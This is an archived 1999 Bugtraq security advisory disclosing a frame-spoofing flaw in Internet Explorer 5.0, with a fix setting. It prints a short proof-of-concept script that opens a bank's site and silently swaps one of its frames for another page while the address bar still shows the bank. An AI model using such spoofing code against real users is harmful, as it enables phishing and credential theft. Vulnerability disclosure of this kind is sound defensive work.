OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
Bugtraq Archives: Default IE 5.0 security settings allow frame

Default IE 5.0 security settings allow frame spoofing

Subject: Default IE 5.0 security settings allow frame spoofing
From: Georgi Guninski (joroNAT.BG)
Date: Tue Nov 30 1999 - 11:53:44 CST

Default IE 5.0 security settings allow frame spoofing

Disclaimer:
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use of the
information or functionality provided by this program.
Georgi Guninski, bears NO responsibility for content or misuse of this
program or any derivatives thereof.

Description:

Internet Explorer 5.0 under Windows 95 (guess other versions are
affected) with its
default security settings allows frame spoofing. The problem is setting
the location of a frame to an arbitrary URL without updating the address
bar.
This vulnerability allows misleading the user he is browsing a trusted
site, while in fact he may be browsing a hostile site which might be
stealing information.

The code is:
----------------------------------------------------------------------------------------
<SCRIPT>
b=window.open("http://www.citybank.com");
function g()
{
b.frames[2].location="http://www.yahoo.com";
}
setTimeout("g()",6000);
</SCRIPT>
----------------------------------------------------------------------------------------

Solution: Set "Navigate sub-frames across different domains" option to
Disable

Demonstration is available at http://www.nat.bg/~joro/msfrspoof.html

Regards,
Georgi Guninski
http://www.nat.bg/~joro

This archive was generated by hypermail 2b27 : Tue Nov 30 1999 - 17:44:27 CST